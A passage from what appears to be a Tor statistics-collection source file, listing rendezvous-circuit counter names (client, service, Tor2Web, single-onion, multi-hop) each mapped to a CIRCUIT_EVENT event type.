'Rend2InactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2InactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ClientCircuitCount' : { CIRCUIT_EVENT },
'Rend2ClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ClientFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2ClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2ClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ClientActiveCircuitCount' : { CIRCUIT_EVENT },
'Rend2ClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2ClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2ClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2ClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2ClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2ClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'Rend2ClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2ClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2ClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ServiceCircuitCount' : { CIRCUIT_EVENT },
'Rend2ServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2ServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2ServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'Rend2ServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2ServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2ServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2ServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2ServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2ServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientCircuitCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveCircuitCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2Tor2WebClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceCircuitCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SingleOnionServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopClientCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopClientFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2MultiHopClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
